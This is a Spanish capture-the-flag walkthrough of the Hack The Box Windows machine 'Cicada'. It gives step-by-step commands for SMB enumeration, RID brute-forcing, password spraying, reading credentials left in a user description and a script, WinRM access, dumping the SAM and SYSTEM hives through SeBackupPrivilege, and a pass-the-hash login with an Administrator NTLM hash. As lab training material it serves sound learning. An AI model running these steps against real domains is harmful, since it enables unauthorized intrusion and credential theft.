Buscar en BreakSecure

Contenido recomendado

Cicada

Cicada es una máquina Windows de Hack The Box enfocada en enumeración de Active Directory, password spraying, exposición de credenciales y escalamiento de privilegios mediante SeBackupPrivilege.

Portada de Cicada
Plataforma
Hack The Box
Sistema operativo
Windows
Dificultad
Fácil
Publicado
Autor
Pedro Vargas
Temas
  • Active Directory
  • SMB
  • Password Spraying
  • Credential Enumeration
  • WinRM
  • Sebackupprivilege
  • Registry Hives
  • Pass The Hash
En esta página

Resumen

Cicada es una máquina Windows de Hack The Box enfocada en Active Directory. La explotación comienza encontrando una contraseña corporativa mediante SMB y utilizándola para realizar Password Spraying. A partir de ahí iremos encadenando credenciales expuestas hasta conseguir acceso mediante WinRM. Finalmente, el privilegio SeBackupPrivilege nos permitirá extraer los hashes almacenados en el sistema y realizar un Pass-the-Hash como Administrator.

Enumeración

Descubrimiento de puertos

Comenzamos como siempre realizando un escaneo con Nmap para identificar los servicios disponibles.

nmap --top-ports 1000 -sVC IP_CICADA

Al tratarse de una máquina Windows orientada a Active Directory encontramos varios puertos bastante característicos:

  • 88 — Kerberos
  • 135 — MSRPC
  • 389 — LDAP
  • 445 — SMB
  • 5985 — WinRM

La combinación de Kerberos + LDAP + SMB ya nos da una pista bastante clara de que estamos trabajando contra un entorno de Active Directory.

Además, WinRM en el puerto 5985 podría convertirse más adelante en una vía para conseguir una shell si encontramos credenciales válidas. 👀

Antes de continuar añadí la máquina a /etc/hosts:

<IP> cicada.htb

Enumeración SMB

El primer servicio que decidí investigar fue SMB utilizando NetExec:

nxc smb cicada.htb

Esto nos permite confirmar información del sistema Windows y comenzar a entender el entorno que tenemos delante.

El siguiente paso fue comprobar qué recursos compartidos estaban disponibles sin proporcionar credenciales:

nxc smb cicada.htb -u 'anx' -p '' --shares

Entre los diferentes shares apareció uno que llamaba especialmente la atención:

HR

Si durante una enumeración encontramos carpetas con nombres como HR, DEV, Backup o similares, siempre merece la pena revisarlas. Muchas veces terminan conteniendo documentos internos, scripts o incluso credenciales.

Acceso al share HR

Probé entonces acceder sin contraseña:

smbclient //cicada.htb/HR -N

Dentro encontré un archivo llamado:

Notice from HR.txt

Al revisar su contenido encontramos una contraseña:

Cicada$M6Corpb*@Lp#nZp!8

Tenemos contraseña… pero todavía no sabemos a qué usuario pertenece. 🤔

Enumeración de usuarios

Inicialmente intenté enumerar los usuarios directamente con NetExec, pero no obtuve los resultados que esperaba.

Sin embargo, la enumeración mediante RID sí funcionaba:

nxc smb cicada.htb -u 'anx' -p '' --rid-brute

--rid-brute intenta enumerar cuentas utilizando los Relative Identifiers (RID) de Windows, permitiéndonos descubrir usuarios y grupos incluso cuando otros métodos de enumeración están restringidos.

Para quedarme únicamente con los nombres preparé una pequeña lista:

nxc smb cicada.htb -u 'anx' -p '' --rid-brute | awk '{ print $6 }' | awk -F\\ '{print $2}'

Guardé los usuarios encontrados en:

users.txt

Ahora teníamos dos piezas:

Usuarios válidos + una contraseña

Así que tocaba comprobar si algún usuario seguía utilizando esa contraseña.

Password Spraying

En lugar de probar muchas contraseñas contra una única cuenta, probamos una misma contraseña contra diferentes usuarios:

nxc smb cicada.htb -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'

Este ataque se conoce como Password Spraying y es especialmente útil cuando encontramos contraseñas corporativas, temporales o predeterminadas.

Y tenemos suerte. 🎯

Las credenciales correspondían a:

michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8

Probé si Michael podía conectarse mediante WinRM, pero todavía no teníamos acceso remoto.

No pasa nada: ahora tenemos un usuario válido del dominio y podemos seguir enumerando.

Enumeración como Michael Wrightson

Primero comprobé nuevamente los recursos SMB:

nxc smb cicada.htb -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --shares

Ahora podíamos acceder también a recursos como NETLOGON y SYSVOL, aunque después de revisarlos no encontré nada especialmente interesante.

Así que decidí enumerar los usuarios del dominio:

nxc smb cicada.htb -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --users

Y aquí encontramos uno de esos errores que nunca deberían ocurrir en un entorno real. 😅

En la descripción del usuario:

david.orelious

se había guardado directamente su contraseña:

Just in case I forget my password...

Obteniendo:

david.orelious:aRt$Lp#7t*VQ!3

Ya tenemos nuestro segundo usuario comprometido.

Acceso al share DEV

Volví a enumerar los recursos disponibles utilizando las credenciales de David y descubrí que este usuario tenía acceso a otro share interesante:

DEV

Me conecté utilizando:

smbclient //cicada.htb/DEV -U 'david.orelious%aRt$Lp#7t*VQ!3'

Dentro encontramos:

Backup_script.ps1

Descargamos el archivo:

get Backup_script.ps1

Y revisamos su contenido:

cat Backup_script.ps1

El script automatizaba determinadas tareas de backup y, para nuestra suerte, tenía otras credenciales escritas directamente en el código:

emily.oscars:Q!3@Lp#M6b*7t*Vt

Ya tenemos nuestra tercera cuenta. 🔑

Acceso inicial mediante WinRM

Recordemos que durante el escaneo inicial habíamos encontrado WinRM en el puerto 5985.

Probé las nuevas credenciales utilizando NetExec:

nxc winrm cicada.htb -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'

Esta vez obtenemos:

Pwn3d!

¡Por fin! 😂

Las credenciales de Emily permiten autenticación mediante WinRM.

Podemos conseguir una shell interactiva utilizando Evil-WinRM:

evil-winrm -i cicada.htb -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

Una vez dentro podemos acceder al escritorio del usuario y obtener:

user.txt

Tenemos acceso inicial. Ahora toca convertirlo en Administrator.

Escalamiento de privilegios

Enumeración local

Inicialmente cargué y ejecuté:

winPEASany.exe

pero después de revisar sus resultados no encontré un vector que me convenciera demasiado.

Así que regresé a la enumeración manual.

Una de las comprobaciones básicas en Windows es revisar los privilegios del usuario actual:

whoami /priv

Entre los resultados apareció algo bastante interesante:

SeBackupPrivilege    Back up files and directories    Enabled

🎯 Este privilegio es nuestro vector de escalamiento.

¿Qué es SeBackupPrivilege?

SeBackupPrivilege está pensado para permitir que determinados usuarios puedan realizar copias de seguridad incluso de archivos a los que normalmente no tendrían acceso.

El problema desde el punto de vista de seguridad es evidente: si podemos respaldar archivos protegidos del sistema, también podemos intentar obtener información sensible almacenada dentro de ellos.

En este caso nos interesan especialmente dos elementos del registro de Windows:

SAM
SYSTEM

La SAM contiene los hashes de las cuentas locales, mientras que SYSTEM contiene información necesaria para poder descifrar correctamente esos datos.

Si conseguimos ambos archivos, podremos analizarlos offline.

Extracción de SAM y SYSTEM

Creamos primero un directorio temporal:

mkdir C:\temp

Después utilizamos reg save para guardar los dos hives:

reg save HKLM\SAM C:\temp\sam.hive
reg save HKLM\SYSTEM C:\temp\system.hive

Desde Evil-WinRM descargamos ambos archivos hacia Kali:

download C:\temp\sam.hive
download C:\temp\system.hive

Ahora ya podemos analizar las credenciales tranquilamente desde nuestra máquina.

Extracción del hash de Administrator

Utilicé secretsdump de Impacket:

impacket-secretsdump -sam sam.hive -system system.hive LOCAL

secretsdump utiliza la información de SYSTEM junto con la base SAM para recuperar los hashes NTLM almacenados en el sistema.

Entre los resultados obtenemos el hash correspondiente a:

Administrator

Y aquí no necesitamos crackearlo. 😈

Si el servicio remoto acepta autenticación NTLM, podemos utilizar directamente el hash mediante una técnica conocida como Pass-the-Hash.

Pass-the-Hash

En lugar de utilizar:

-p <PASSWORD>

Evil-WinRM permite proporcionar directamente el hash NTLM mediante:

-H <HASH>

Así que ejecutamos:

evil-winrm -i cicada.htb -u 'Administrator' -H '2b87e7c93a3e8a0ea4a581937016f341'

La autenticación funciona y obtenemos una nueva sesión, esta vez como:

Administrator

Podemos comprobarlo:

whoami

Y finalmente acceder al escritorio del administrador para obtener:

root.txt

¡Cicada completada! 🚩

Conclusiones

Cicada es una muy buena máquina para practicar enumeración de Active Directory y entender cómo pequeños errores pueden encadenarse hasta comprometer completamente un dominio. Una contraseña corporativa reutilizada, credenciales guardadas en descripciones y scripts, y finalmente SeBackupPrivilege nos permiten pasar progresivamente de acceso anónimo a una sesión como Administrator.

Herramientas utilizadas

  • Nmap
  • NetExec
  • smbclient
  • Evil-WinRM
  • WinPEAS
  • Impacket
  • secretsdump

Referencias